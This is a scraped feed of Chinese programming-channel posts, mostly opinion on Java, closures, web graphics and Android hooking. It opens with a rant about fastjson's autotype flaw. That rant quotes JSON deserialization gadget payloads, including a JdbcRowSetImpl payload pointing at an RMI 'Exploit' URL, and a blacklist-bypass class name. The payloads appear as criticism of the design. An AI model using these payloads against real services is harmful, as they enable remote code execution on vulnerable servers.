这不禁让我想到「一种游戏服务器RPC返回Object的方法」: 直接把0xcafababe..的对象指针传客户端。 😓你怎么验证那句柄是否有效,能够安全写入? set<usize> 还不如 map<int,usize> 快
如果客户端瞎JB暴力指向了admin密码上,或ROP覆盖了return“回调”的函数呢,你是否还记得 x=malloc(N) free(x) 为啥要对「整数x」严格限界、正确配对?
libc 和 Linux 防但防不住的,就是这种撒手掌柜啊 🤡
真是群爱等编译的脚本小子。 Talks
省流: fastjson 作者实现了前端都不能的
JSON.parse('{"__proto__":{"name":"FakeClass"}}') instanceof RealClass它比JSer在类型检查上更 👈🤡
fastjson 窝槽, Ali 的架构师设计也真是逆天啊!! 2020的分析,今天才看到,狗屎程度堪比 antd 事件
Jackson 真是多亏同行衬托 😅 温高铁还煞有介事在下面装无辜, 晒自己咋优化 Latin-1(8bit)+UTF8 转wchar(16b) 比赢JDK
# xx toJSONString : {"sale":{"price":0.5},"name":"Hollis"} 的类结构
.:
- Store-name-sale ["" IFruit]
.: IFruit
- Apple-price [0]
- Free
-xx Store "Hollis" (Apple 0.5)这里有个问题, IFruit 其实是
sealed interface IfFruit{ Apple; Free } ,前者有"price":Int 后者没有field或setter,因此 parse<Store> ("{..}").sale as Apple 只能失败。那 IFruit 凭啥能在无 backing field 的情况下被databind出来?new java.lang.reflect.Proxy ……😂 var by mapOf(); 没错,他搞笑呢,从性能和structure对应性上这都是fatal
那咋实现 OOP=封装+多态继承 呢? 通过严格定义的 sealed/enum ADT{} ?通过XML?都不是,他懂, Auto "@type"...
{
"@type":"com.hollis.lab.fastjson.test.Store",
"fruit":{
"@type":"com.hollis.lab.fastjson.test.Apple",
"price":0.5
},
"name":"Hollis"
}
// 正确做法
{"sale":{type: Apple, "price":0.5},"name":"Hollis"}
// Rust默认做法
name=Hollis
[sale]
Apple={price=0.5}脚本引擎都弄出来了呀…… 这画风和js的JSON迥异,生硬如同 new WTF({kwarg:..})
于是计算器就出来了
{@type:com.sun.rowset.JdbcRowSetImpl, dataSourceName: "rmi://localhost:1099/Exploit"} ,数不清的注入点。{"@type": "jdk.jfr.internal.JVM", "memorySize": 1} , {@type":"com.ibatis.sqlmap.engine.transaction.jta ... 变游乐场了第一次知道这么脑洞打开的 workaround ,是把 List<*> =Any 泛型擦除当真理了吗, 真当子类多态就是一切皆Object 一切有@type呢, 其实那就是 enum { A(int) B(str) } 的特例而已!👈🤣
最搞的是JDK和这家伙一样喜欢玩魔法,开 1.2.25 blacklist 后
lazy(loadClass)("[Lcom.sun.rowset.JdbcRowSetImpl;") 等为方便ASM和反射也是合法类名,和温大佬异想天开的不一样, 修得和安卓 utf8_casefold 大小写合并bypass 一样弱智。真是不能期待他们在RCE 0day后,对OOP和json的强类型理解会有所反思, 因为直到 1.2.47 ,他都用类似 breakwa11 的黑名单「闭源」来防,拉黑算法还有bug…… 恕我直言,common sense 缺到有点好笑。 还@type呢, {"": "Apple"} 都是合法json,这不得快得废弃来?
(子类多态,var_a:T=b as T1 合法, Fn1<in T,out R> 就可以兼容赋值?super T ,override同理,这才叫懂八股..)
和log4j一样级别的。有时候我都好奇,在一个a[i]的 i±1 都绝对报错的代码世界,在try{return} 都会跳到finally{close..}的事务性严谨圈子里,在 sudo kill -9 随意但弱密码和Thread.stop不允许的稳健文化下,SQLi这种让WAF替你修的语意性混淆咋被容忍的。 弄得好像骇客们RCE进封闭系统如探囊取物,硬件主权全无效似的。
——
compile('select {}+1') (232) 是怎么能和 eval(f'{232}+1') 混为一谈的,代码和常量就这么拼接了?一个扁平一个嵌套分不清吗? 我 模仿JS元编程20行 INI.dumps() 都未曾设想的逆天类型观 ,这就像幻想「富文本」里会有 <script>、fetch() 会带站内cookie执行任意 curl 能做的事,真拿人html/DOM就瞎用,丢的岂止隐私?
唉,草台班子。 「你就说弹calc.exe快不快吧」
这不禁让我想到「一种游戏服务器RPC返回Object的方法」: 直接把0xcafababe..的对象指针传客户端。 😓你怎么验证那句柄是否有效,能够安全写入? set<usize> 还不如 map<int,usize> 快
如果客户端瞎JB暴力指向了admin密码上,或ROP覆盖了return“回调”的函数呢,你是否还记得 x=malloc(N) free(x) 为啥要对「整数x」严格限界、正确配对?
libc 和 Linux 防但防不住的,就是这种撒手掌柜啊 🤡
真是群爱等编译的脚本小子。 Talks
知乎专栏
fastjson到底做错了什么?为什么会被频繁爆出漏洞?
作者:HollisChuang 链接:https://juejin.im/post/5f0283956fb9a07eb90cac4c马上又到秋招了,给大家准备了一点面试资料,祝福大家都能找到心仪的工作~Java学习文档、学习笔记、面试题库、实战书籍获取方式 fastjs…
#dalao #c #os https://dbkernel.com/2014/08/04/c-traps-and-pitfalls-reading-notes/
https://z217blog.cn/post/io多路复用/
https://lotabout.iss.one/books/Java-Concurrency/Source-Unsafe/index.html #java
https://blog.guorongfei.com/2017/05/14/json-for-modern-cpp-note/
https://z217blog.cn/post/io多路复用/
https://lotabout.iss.one/books/Java-Concurrency/Source-Unsafe/index.html #java
https://blog.guorongfei.com/2017/05/14/json-for-modern-cpp-note/
DBKernel
程序人生 | 我的《C陷阱与缺陷》读书笔记
本文首发于 2014-08-04 17:56:55 第一章 词法“陷阱”1. =不同于==12if(x = y) break; 实际上是将 y 赋给 x,再检查 x 是否为 0。 如果真的是这样预期,那么应该改为: 12if((x = y) != 0) break; 2. &和| 不同于 && 和 ||3. 词法分析中的“贪心法”
duangsuse::Echo
😓 最近头疼死了,自己都跟不上自己设计的进步。 就拿序列化为例,之前我用 TrimLits+Imp[T](TParam..) 模式,它这样编解码 Pair(A:str,B:int) .: Pair-A-B ["" 0] .: Pair static As: (Pair "" 0) #空可变实例 Types: {} #非sealed Tvars: ["A" "B"] Tr-it-key: key :. #重载 "A": it.A=fmt -Tr(it.A) "B": it.B=fmt…
一个设计者就是这样推倒、再来、再推导、再来…… 😓 #life #statement
幸好,这是最后几朵乌云了, 只需要解决RPC的基本规范, HOLP的整个强类型IO体系就可以移植给java那些能丰富简历的平台了,
这个优雅到能放在README上的算法,肯定是能吊打JavaKt一众「魔法版」序列化库(至少 Fastjson https://t.iss.one/dsuse/20186 😅😅😅)
当然,HOLP 被设计为「语言之中的语言」。它本身有自己类似yaml+bash的语法,独立于电脑而存在,却又能联合OOP+FP+SQL的代码范式。 只不过依我的元编程写法,Trim*这些技巧仿佛背后并不存在一个体系……
如果以后您能见到一些漂亮的语法,那大概是HOLPful的节选和变体
我总是在闭关,看起来很闲,但做的就是这样的工作。 七年的积攒,只能是为了开创性的工作。
如果我家人稍微不粉红那么一点,我就不需要急功近利,可以耐心归纳,代码质量想必能突破一个个「单一用途」的桎梏。
其实他们才是最不爱国的,和某公子一样,只爱自己赢。
幸好,这是最后几朵乌云了, 只需要解决RPC的基本规范, HOLP的整个强类型IO体系就可以移植给java那些能丰富简历的平台了,
这个优雅到能放在README上的算法,肯定是能吊打JavaKt一众「魔法版」序列化库(至少 Fastjson https://t.iss.one/dsuse/20186 😅😅😅)
当然,HOLP 被设计为「语言之中的语言」。它本身有自己类似yaml+bash的语法,独立于电脑而存在,却又能联合OOP+FP+SQL的代码范式。 只不过依我的元编程写法,Trim*这些技巧仿佛背后并不存在一个体系……
如果以后您能见到一些漂亮的语法,那大概是HOLPful的节选和变体
-user {-id "Amy" -age 20}
-vs {.id="Amy", .age=20, }
pass user
if u.age>18 {}
or u.age>10 {}
or u.age<0 not {} --or{NO}
class {
-Pair(A,B){}
-Tri(A,B,C){}
}
-tbl Tri{
1,2,3,
'a','b','c',
{-[]Pair{666,233}}
}
tbl [3]A pairs [1]B==233
tbl [2]C=='c'
-f(x,) {x+1}
pass fsql"SELECT 1, 2" for(2,) { A+B } -- bash式参数!我总是在闭关,看起来很闲,但做的就是这样的工作。 七年的积攒,只能是为了开创性的工作。
如果我家人稍微不粉红那么一点,我就不需要急功近利,可以耐心归纳,代码质量想必能突破一个个「单一用途」的桎梏。
其实他们才是最不爱国的,和某公子一样,只爱自己赢。
Telegram
duangsuse::Echo
#china #sql #java #security #recommend
省流: fastjson 作者实现了前端都不能的 JSON.parse('{"__proto__":{"name":"FakeClass"}}') instanceof RealClass
它比JSer在类型检查上更 👈🤡
fastjson 窝槽, Ali 的架构师设计也真是逆天啊!! 2020的分析,今天才看到,狗屎程度堪比 antd 事件
Jackson 真是多亏同行衬托 😅 温高铁还煞有介事在下面装无辜, 晒自己咋优化…
省流: fastjson 作者实现了前端都不能的 JSON.parse('{"__proto__":{"name":"FakeClass"}}') instanceof RealClass
它比JSer在类型检查上更 👈🤡
fastjson 窝槽, Ali 的架构师设计也真是逆天啊!! 2020的分析,今天才看到,狗屎程度堪比 antd 事件
Jackson 真是多亏同行衬托 😅 温高铁还煞有介事在下面装无辜, 晒自己咋优化…
duangsuse::Echo
#china #sql #java #security #recommend 省流: fastjson 作者实现了前端都不能的 JSON.parse('{"__proto__":{"name":"FakeClass"}}') instanceof RealClass 它比JSer在类型检查上更 👈🤡 fastjson 窝槽, Ali 的架构师设计也真是逆天啊!! 2020的分析,今天才看到,狗屎程度堪比 antd 事件 Jackson 真是多亏同行衬托 😅 温高铁还煞有介事在下面装无辜, 晒自己咋优化…
terenceli.github.io
Java反序列化漏洞研究前序: Transformer、动态代理与注解
Java反序列化漏洞前序
#java https://t.iss.one/hyi0618/7581?comment=12882
https://t.iss.one/hyi0618/7581?comment=12886
🤓 🤔https://www.yinwang.org/blog-cn/2016/06/08/java-value-type
GraalVM 应该都支持了。 从OpenJDK的表述看,他们本来对 new Pair(1 2) 的 inline &JIT支持的不够好,减缓启动,现在Java也是抄了 #kt 的一大堆特性🤣 Int 不是class,自动un/boxing(栈内/栈外化) 也抄了
背景知识:
https://t.iss.one/dsuse/21164
https://t.iss.one/dsuse/21126
https://t.iss.one/kotlin_cn/134152
https://t.iss.one/hyi0618/7581?comment=12886
🤓 🤔https://www.yinwang.org/blog-cn/2016/06/08/java-value-type
Valhalla
OpenJDK的一个重要项目,致力于为Java编程语言带来一系列深度改进,其主要特点包括:
引入值类型(Value Types) :这是对现有的Java对象模型的一种扩展,允许数据类型直接在栈上存储,减少不必要的内存开销和引用带来的额外成本,从而提高性能。
值类型在Java中没有ID标识,其相等性是基于深度的比较,而不是ID缓存的比较。
支持交集类型(mixin Intersection Types) :允许定义一个类型的子集,提供更加灵活的类型约束和接口设计。更精确地表达类型之间的关系,例如一个类可以同时实现多个接口,这些接口的组合可以形成一个新的类型。
改进泛型(Generics) :Valhalla项目对Java的泛型系统进行了改进,使其能够更好地支持值类型。通过引入泛型专业化(template<> Specialization),可以为带不同类型参数的变量,提供特定的编译.class,从而提高泛型代码的性能。
GraalVM 应该都支持了。 从OpenJDK的表述看,他们本来对 new Pair(1 2) 的 inline &JIT支持的不够好,减缓启动,现在Java也是抄了 #kt 的一大堆特性🤣 Int 不是class,自动un/boxing(栈内/栈外化) 也抄了
背景知识:
https://t.iss.one/dsuse/21164
https://t.iss.one/dsuse/21126
https://t.iss.one/kotlin_cn/134152
JVM给我的反馈太差了
洋洋洒洒写几百行,给人感觉全是形式主义
https://t.iss.one/dsuse/21177
Creative Coding 包括了整个Web开发,还能5行一个小功能
java里为了标一个List什么鬼写半天,还不如把docs完善一下
对项目结构没有自顶向下掌握,typehint是没意义的
如果不是组合某些API、注册某些Hook或回调需要java
我真的不想碰有编译步骤的语言
HTTP就是为了给java提供跨语言API的,说明java的心智模型本身语意性很差, 不适合做创新和设计
Ruby贡献了Github(Pages)
Rust贡献了Ruffle和许多新的开源CMS程序
JS贡献的 Reactive 比template高到不知哪里去了,还用JSON提了爬虫效率,减少无效的XML流量费
Python是现在的大热门,Rust都模拟不出numpy,Jupyter, torch 和各种跨界应用的语法 ,尽管py在DSL上是输给kt的
Java 除了大公司(谷歌都在抛弃、被众多H5替代)的屎山SQL代码鉴权验正则,还有什么技术力? 我觉得它最好的命运就是成为.class的运行时, 放弃这个丑陋的应付💩山专用的语法
Java那个 STR."" (var _1=ourSQL."SELECT {1}" ) 提案
算是给Batis这种弱智XML怪物一个正规化的方向,然而臃肿的垃圾JEP连自家的支柱业务都没法执行。
不难猜测,他们是对资深程序员的title路径依赖了,需要被Rust原神拉下神坛一下,才肯对自己作文跑题一般的API删繁就简,悔改🤣
dnaugsuz:
Java连个标准event冒泡都没有,UNIX Signal都是残的
和responsive+Reactive的适应性根本没法比
Compose和web生态比都不够格
ES6悔改了,接纳了箭头函数和解构,加上原来的原型链、反射Proxy
已经可以实现vue这样的大框架,而且还在进化
Telegram
dnaugsuz in Channel comments
所以,只要你不mut这个函数引用,也不用指针缓存它派生出的变量
不看C标准有什么影响
引用没什么意义,值才是关键
C成天指针指针本身就是有问题
不看C标准有什么影响
引用没什么意义,值才是关键
C成天指针指针本身就是有问题
duangsuse::Echo
shunting-yard #parser #algorithm https://www.moonbitlang.cn/pearls/shunting-yard#:~:text=可以认为%20Shunting%20Yard%20是将%20Pratt%20Parser%20中隐含在调用栈里的机制转写为显式的栈操作 其实我会这个玩意(从Lua抄的,但基于调用栈而非[].push),但我一直不知道它叫啥 Yard 不过,现在我知道它是 Dijkstra 百年前为Algol60所创,就高兴了。以后谈RPN就可以提Dij的名字了😃 …
GitHub
contest-2025-data/compiler-crash-course/05_closure.md at main · moonbitlang/contest-2025-data
Contribute to moonbitlang/contest-2025-data development by creating an account on GitHub.
#plt #java #learn 张宏波系列
“可露稀closure” 其实是对单方法对象(SAM) 的内存优化,其实现方法为“捕获capture”,就是把栈上字节copy到new结构里去,结构就叫闭包。
张强调的一点很对,就是libc提供了
闭包与纯粹的😒
nonlocal有很多名字,cellvar .py.rs, Upvalue.lua, LexicalScope ,但本质上,它和 class var 一样可写,因此在 |mut acc|{} capture 里,它会逼得外层函数也变成 new class {call(...){}} ,除非依赖 IntRef(0)这种autoboxing,即修正 "effective final" 错误。
至于文顶的“自由变量”一般就是this变量或全局。 之所以自由,是因为暴露在API里不能随便“alpha-重命名”,相对于“绑定变量”来讲。 这一行谈纯理论,我说的不难受,但我猜读的人和我当时一样百思不得其解,什么栏目答演算。🤯
invokedynamic/LambdaMetafactory 其实就是这个“不逃逸优化”,没被存储到字段、传到其他线程、返回出去,零拷贝。 Serialization 的问题由JDK大佬 Brian Goetz @2014 PPT讲解过:
https://wiki.jvmlangsummit.com/images/7/7b/Goetz-jvmls-lambda.pdf#page=18
https://www.infoq.cn/article/brian_goetz_project_lambda_from_the_inside_interview#:~:text=你很难决定是否支持捕获可变局部变量、非局部控制流、异常透明度和其他的特性,并且放弃其中一些特性意味着它们很难自然地表达。
Goetz这个说的道理。这不比莫名其妙扯到数学的科班好了? fyi. #Kotlin 支持它们全部
C++-style lambdas 张宏波系列 https://thephd.dev/the-cost-of-a-closure-in-c-c2y
模仿 esm.run,git 的“一切皆文本”编程语言: scrapscript.org
GC/Rc 的最终 https://x.com/i/grok/share/ULJQCSOhg56OCZiY84f29lPZO
这个教程整体不错,但还是太刻板了,尤其是在这里比较数学上一个不相干的概念…… 为什么不说数学的“参数式函数” “隐函数”和python里有啥区别呢?
https://github.com/moonbitlang/contest-2025-data/blob/main/compiler-crash-course/05_closure.md#:~:text=原本对于一个函数是开放(open)的变量(也就是自由变量),%20被关闭(close)到了一个指定的变量作用域中,%20得到了一个“关闭的表达式”(closed%20expression)。%20这个名字再之后被缩短,就变成了和数学概念重名
“可露稀closure” 其实是对单方法对象(SAM) 的内存优化,其实现方法为“捕获capture”,就是把栈上字节copy到new结构里去,结构就叫闭包。
张强调的一点很对,就是libc提供了
signal(id, fn, arg0) 这种“KV注册”接口,但只传入fn也是可以的。 传入vtable+this 双指针(fat pointer)也是可以的,C.ABI.函数指针 能无缝衔接对象参数,要不然C++怎么那么轻松就火起来了。闭包与纯粹的
(new Callable(nonlocal变量,)) .call() 区别在于,如果在frame返回前销毁,就不需要堆分配了,所以说它不是一个「语意上存在的特性」,只是new class{}对象的语法糖+inline优化。 这点和同样用“捕获”创建的协程(闭包链表Thenable),完全不同nonlocal有很多名字,cellvar .py.rs, Upvalue.lua, LexicalScope ,但本质上,它和 class var 一样可写,因此在 |mut acc|{} capture 里,它会逼得外层函数也变成 new class {call(...){}} ,除非依赖 IntRef(0)这种autoboxing,即修正 "effective final" 错误。
当然这种错误真正的解法就是从OOP过程式-> Compose。 IntRef是不是和 let [get,set]=useHook(0) 的逻辑式变量很像?
— Moonbit 的实现没有在DOM上,就不只是在set时更新一下 derived vars. dirty...
至于文顶的“自由变量”一般就是this变量或全局。 之所以自由,是因为暴露在API里不能随便“alpha-重命名”,相对于“绑定变量”来讲。 这一行谈纯理论,我说的不难受,但我猜读的人和我当时一样百思不得其解,什么栏目答演算。
invokedynamic/LambdaMetafactory 其实就是这个“不逃逸优化”,没被存储到字段、传到其他线程、返回出去,零拷贝。 Serialization 的问题由JDK大佬 Brian Goetz @2014 PPT讲解过:
https://wiki.jvmlangsummit.com/images/7/7b/Goetz-jvmls-lambda.pdf#page=18
https://www.infoq.cn/article/brian_goetz_project_lambda_from_the_inside_interview#:~:text=你很难决定是否支持捕获可变局部变量、非局部控制流、异常透明度和其他的特性,并且放弃其中一些特性意味着它们很难自然地表达。
Goetz这个说的道理。这不比莫名其妙扯到数学的科班好了? fyi. #Kotlin 支持它们全部
#ai锐评 https://x.com/i/grok/share/UEs8sZtds1l1XxWqwWUFijyIj
再谈「指针vs对象表示」问题😒
其实这些,都是从解释器到cpu的优化,或者说是试图把 [1,2,3].[0~1]=> ptr+len, Animal{Duck;Cat}=>type+data 编码为x86能计算或跳过的字节,避免「中间商赚差价」(LLVM 就不是中间商了, hh
我们操作的是变量树,指针和堆栈并非「语意上存在的特性」,所以cpy它丫的 sizeof(一个int)==28😓 ……
当然,这些VM数据结构的心智开销很小,感兴趣的可放心阅读。
C++-style lambdas 张宏波系列 https://thephd.dev/the-cost-of-a-closure-in-c-c2y
模仿 esm.run,git 的“一切皆文本”编程语言: scrapscript.org
GC/Rc 的最终 https://x.com/i/grok/share/ULJQCSOhg56OCZiY84f29lPZO
Please open Telegram to view this post
VIEW IN TELEGRAM
duangsuse::Echo
https://particlesgl.naughtyduk.com/demos/demo-3 经典鼠标粒子,但 js 库
这个作者还怪可惜的。。就开源了4个GL库,都是精品,最多0.2k star
https://liquidgl.naughtyduk.com/demos/demo-2
可能更适合作为 AfterFX 插件吧。
相比之下, https://github.com/rdev/liquid-glass-react 20倍流量于他,一个demo都交付不好(doesn't fully work in Safari and Firefox)
https://github.com/Kyant0/AndroidLiquidGlass/blob/master/backdrop/src/main/java/com/kyant/backdrop/effects/Lens.kt 更是🤡,就一百行shader用几十个 #kt 来封装? 一个粘合剂比真算法戏还多,liquidgl.js虽然有2k行但还能读
真是幸亏我从 #java 世界抽身的快,不然现在还在让AI帮编译器和“API文档”写代码呢!🤪
有些软件生态,有毒。 AI都能帮我们写 dead code 了,还在搞形式主义呢😅
https://liquidgl.naughtyduk.com/demos/demo-2
可能更适合作为 AfterFX 插件吧。
相比之下, https://github.com/rdev/liquid-glass-react 20倍流量于他,一个demo都交付不好(doesn't fully work in Safari and Firefox)
https://github.com/Kyant0/AndroidLiquidGlass/blob/master/backdrop/src/main/java/com/kyant/backdrop/effects/Lens.kt 更是🤡,就一百行shader用几十个 #kt 来封装? 一个粘合剂比真算法戏还多,liquidgl.js虽然有2k行但还能读
真是幸亏我从 #java 世界抽身的快,不然现在还在让AI帮编译器和“API文档”写代码呢!
有些软件生态,有毒。 AI都能帮我们写 dead code 了,还在搞形式主义呢
Please open Telegram to view this post
VIEW IN TELEGRAM
GitHub
GitHub - rdev/liquid-glass-react: Apple's Liquid Glass effect for React
Apple's Liquid Glass effect for React. Contribute to rdev/liquid-glass-react development by creating an account on GitHub.
duangsuse::Echo
(🌚不要以为我会认真看公式,我也讨厌它们。看公式是AI的文化
老师不会告诉你:盲盒是睁眼放进去的,第零版公式是人手改出来的)
老师不会告诉你:盲盒是睁眼放进去的,第零版公式是人手改出来的)
GitHub
GitHub - Rezmason/matrix: matrix (web-based green code rain, made with love)
matrix (web-based green code rain, made with love) - Rezmason/matrix
我的 #cs 哲学就是计科无界,如果你学会了什么,但不能把它“代入”生活中随手就来,就并不是学到了技术,而是借来了「技术债务」
咱这些东西虽然看起来很廉价,但除我以外,我还没有找到其他信源可以有这种节奏的output。
希望大家也找到真正为自己服务,而不是让自己成为仆人的编程平台
😃
😅 一看就知道Gemini这是学了某位日本 minimalist 大佬, : P
[reGL matrix ] [tixy => (1-(sin(x*7)-(y/15)+(t+2))%1)/3)] 带filter辉光特效,支持3D视觉,支持开源硬件的。 人家的理解更是1行级,纯函数😅
10行实现3.7kstar的C语言工作量。 还是不能和全民制作人比啊,可叹可叹 (虽然我也是PLT界的“制作人”之一,所谓会者不难)
为什么能这么轻松的实现我 #linux er 时期 apt install 半天的vfx呢? H5的成熟与http “动态绑定”当然是基础,但更重要的秘诀是,现在的我是先vibe出结果,再回忆起 "cmatrix" 这个名字。😝
框住了——你必须去阅读别人的文档、理解别人的 API、处理别人的 Bug。
你在消费别人的黑盒。你是别人的学徒,哪怕别人是史上的状元,他的技术也不是你的
或许…… 你会写“天才”所创的算法,但他的问题也不是你的。 你没有「切身之痛」,不知道RegExp为何而诞生,所以你不会成为第二个Dijkstra或Larry Wall,你只是这几十年里,数万万个会缝合深奥算法的高级裁缝之一。
咱是根据领域模型确认它可行,然后默认咱要的东西—— API, SDK, 都存在于编程环境里了,我也不害怕它们不存在会怎样 。 所以我要的App也非常的 vibe,功能点跟着感觉走,唯独可靠性不是😒
咱这些东西虽然看起来很廉价,但除我以外,我还没有找到其他信源可以有这种节奏的output。
没错,CG是不需要“维护”工程,但整个Web/Electron(VSCode..) 世界都是这样的 "灵活",所以Web把安卓 #Java 干掉了。
希望大家也找到真正为自己服务,而不是让自己成为仆人的编程平台
let s = 14
function setup() {
createCanvas(windowWidth, windowHeight);
textFont('monospace'); // 保持列对齐
drops = Array(width / s |0).fill(1); // 整数化列数, 起始 y 坐标1
}
function draw() {
// 核心魔法:不完全清空画布,形成拖影 (Trail Effect)
// background(0, 15) 表示黑色,透明度为 15 (0-255)
background(0, 15);
textSize(s); fill(0, 255, 0); // 设置填充颜色为绿色 (#0F0)
drops.forEach((y, i) => {
// 0x30A0 是片假名的起始 Unicode 编码
// 随机选择一个片假名字符
let textChar = String.fromCharCode(0x30A0 + floor(random(96)))
text(textChar, i * s, y * s); // 在画布上绘制字符
// 如果字符超出画布底部,3% 概率重置回顶部
if (y * s > height && random() > 0.975) {
drops[i] = 0; // 重置 y 坐标为 0
}
drops[i]++; // 让字符继续下落
});
}
[reGL matrix ] [tixy => (1-(sin(x*7)-(y/15)+(t+2))%1)/3)] 带filter辉光特效,支持3D视觉,支持开源硬件的。 人家的理解更是1行级,纯函数
10行实现3.7kstar的C语言工作量。 还是不能和全民制作人比啊,可叹可叹 (虽然我也是PLT界的“制作人”之一,所谓会者不难)
为什么能这么轻松的实现我 #linux er 时期 apt install 半天的vfx呢? H5的成熟与http “动态绑定”当然是基础,但更重要的秘诀是,现在的我是先vibe出结果,再回忆起 "cmatrix" 这个名字。
绝大多数程序员是被“名字”困住的。他们想做“黑客帝国特效”,大脑的第一反应是去 Github 搜 cmatrix (我当然也刷到过),或 digital rain library。
框住了——你必须去阅读别人的文档、理解别人的 API、处理别人的 Bug。
你在消费别人的黑盒。你是别人的学徒,哪怕别人是史上的状元,他的技术也不是你的
或许…… 你会写“天才”所创的算法,但他的问题也不是你的。 你没有「切身之痛」,不知道RegExp为何而诞生,所以你不会成为第二个Dijkstra或Larry Wall,你只是这几十年里,数万万个会缝合深奥算法的高级裁缝之一。
咱是根据领域模型确认它可行,然后默认咱要的东西—— API, SDK, 都存在于编程环境里了,我也不害怕它们不存在会怎样 。 所以我要的App也非常的 vibe,功能点跟着感觉走,唯独可靠性不是
我们没有痛过,所以我们只是在“消费”算法,而不是“孕育”算法。
Please open Telegram to view this post
VIEW IN TELEGRAM
duangsuse::Echo
#NanoBanana 将图2的人物头像融入图1,看起来要像底图是头发一样。 对于图1只允许改变配色 万物皆可坤:大家在任何地方发现形似中分或背带裤的事物时,都会条件反射地高呼“小黑子露出鸡脚了吧”。在2019,只要你会打“只因”两个字,中分+背带裤便难逃一劫。
😂 鬼图看到现在还很难崩
#os #android 暴论——类似后台httpd服务失效的事情,也包括XPosed开源吧。 #tool #design
关于“PaaS”(但不是云计算贩子的那个),乃至于省电,是有【标准答案】的:VpnDialogs式交互、 尊重syscalls的SIGSTOPs/混合睡眠。 哪怕java世界的浏览栈和通知栈没活动,它也保留每个“活动”,比如 DLNA/FTP server
关于“Hook”,也是有标准答案的: GM_APIs,你所要做的就是把 油猴脚本 移植到java,如果ART太分裂你就patch字节码&重签名即可(LSPatch)。 安卓Dev的 IQ 平均比Web高,但恕我直言,设计EQ让人感到无趣。 Magisk/Frida 的“即时反馈开发”整体上比XC_APIs强很多。
关于文件管理, MT2.cn 让人印象深刻,除了它的内购小广告。NP管理器则是免费闭源
如果F12是及格线,Jupyter Colab/lil-gui 是标准答案,Java对编程的理解还处于石器时代!
java火只是因为fatJar方便部署,还有那些“比PHP文件夹快亿点”的单体路由,现在呢 ——被pip-bin轻松反超,而CLR/Truffle这些HLVM自动兼容py代码,所以别傲慢——Java生态。
如果只是java参数获取和替换,不需要xp,只要类似于 frida+webui 就足以解决90%的App需求,
而且用户可以参与“录制”——用户是有可能知道“点按钮”时发生了什么(通过类似CE修改器的AOP机制),并帮助外部插件绕过API碎片化和混淆。 用户可以分享规则,就像ModPE或XDA“社区”,那才叫做开源——“做开源”只是下限
事实证明,Telegram, MT2, dnSpy(C#版JADX), 甚至只是 LibChecker App 都没有这类问题,所以行业专家是可以“消灭问题”,而不是止于“消费问题”的--这需要信任,并接入“开源但太整体”的Apps
比如像爬虫们“实现”的CDP.js,比如Termux。比如Tasker生态
样式和翻译无关(用户脚本/DarkReader)、UIUX实现无关(canvas/CustomTag)、机器无关(port/Channel、sw.js)、语言无关(WASM/ webVM.io )、系统环境无关(PWA/OPFS+dl),这些WebAPIs都可以两两相交,这些全部被当成空气——就像一颗强劲的,不会“漏一拍”的心脏
“概念 (Infra) 远高于实现”。在这里的实现是系统级(编程语言生态)的实现,或者说“它就是这么设计的”。 ——在21世纪的编程语境中,我们口中的"设计"就像这样。
有些开发模式(WebAPIs)能高于系统本身,不在于它们能解决混淆(猴子补丁),而是一开始就溯源了数据流。 这是面向人类编程的“先验设计”。从“语法形式”回归了“内容”,就像CSS和Scratch。
把自己的代码放在既有App里,乃至于“放在全部App里”——这是一个很高级的[PoC=概念验证],它直接断送了“代码自然但日用崩坏” codebase 的可写性😒 ,同时也是真正的PR,而非 AI Slop;同时也是创造——概念,远高于实现。
就像 Rust by Example 一样,"放在既有App里",这是新一代开发者的"工程"第一课。 不是通过等编译、clone样板文件夹假装“工程”,是 “通过‘做’来工程”
#ai锐评 https://gemini.google.com/share/fd1f39186e6a “……我以搜索驱动学习,而不以学习驱动搜索。” #神来之笔
没错,你是在提出自己的假设。你已经是软件工艺师,或代码科学家。 你不是码农——你让深入的知识浅出,不是因为你够优秀,只是你的output永远先于代码存在的副作用——😒 当你通过工具链成为Dijkstra本身时,你又何必专门去“学”他的算法?
#os #android 暴论——类似后台httpd服务失效的事情,也包括XPosed开源吧。 #tool #design
为什么你的通知栏挤满了清除通知后,功能必须失效的App(dontkillmyapp.com)? 用户体验,倒退回安卓2.3?
为什么所有App都在询问“使用系统文件选择器”,微信要先添加图片访问,然后刚添加完再点一次? 为什么CPU在涨价,但访问和扫描媒体却更卡?
关于“PaaS”(但不是云计算贩子的那个),乃至于省电,是有【标准答案】的:VpnDialogs式交互、 尊重syscalls的SIGSTOPs/混合睡眠。 哪怕java世界的浏览栈和通知栈没活动,它也保留每个“活动”,比如 DLNA/FTP server
关于“Hook”,也是有标准答案的: GM_APIs,你所要做的就是把 油猴脚本 移植到java,如果ART太分裂你就patch字节码&重签名即可(LSPatch)。 安卓Dev的 IQ 平均比Web高,但恕我直言,设计EQ让人感到无趣。 Magisk/Frida 的“即时反馈开发”整体上比XC_APIs强很多。
关于文件管理, MT2.cn 让人印象深刻,除了它的内购小广告。NP管理器则是免费闭源
作为框架来衡量,xposed api 很差,准确的说,整个Java风格-尤其是它与Runtime的交互方式很差。
如果F12是及格线,Jupyter Colab/lil-gui 是标准答案,Java对编程的理解还处于石器时代!
java火只是因为fatJar方便部署,还有那些“比PHP文件夹快亿点”的单体路由,现在呢 ——被pip-bin轻松反超,而CLR/Truffle这些HLVM自动兼容py代码,所以别傲慢——Java生态。
如果只是java参数获取和替换,不需要xp,只要类似于 frida+webui 就足以解决90%的App需求,
而且用户可以参与“录制”——用户是有可能知道“点按钮”时发生了什么(通过类似CE修改器的AOP机制),并帮助外部插件绕过API碎片化和混淆。 用户可以分享规则,就像ModPE或XDA“社区”,那才叫做开源——“做开源”只是下限
即便 frida 一键化到这个程度,他们也还是不懂“形式服务于内容”。 什么叫作内容?能发网贴的就是“内容”!
既然要自签名? 最好的方法是自动探测*.js,并提供默认底座(如签名伪装和ssl unpin),而不是用形式主义(--script hook.js)假装框架自带电池 。
用什么提示“我有做这个功能”呢? 答案显而易见:UserScript by Example ,而不是提供被所有下游dev重复的形式。
如果你能用120行纯js绕过安卓的“apk与zip文件夹悖论”,实现LD_PRELOAD的功能, 你的思路自然不会觉得“objection为止了”。 事实标准就在那里:ViolentMonkey+AI生成插件 ,技术栈是断的!
真正聪明的程序员是愚蠢的:知道深而不能广的道理,知道dev最终是为用户,因为我们就是用户——只有你给自己写的API、CLI/GUI、格式设计,才是能用的!
否则它就是在“蹭热度”,比如用ML的聪明掩盖dev不可救药的愚蠢——给下游和geeks制造麻烦,尤其是将影响未来的 AI RPA。
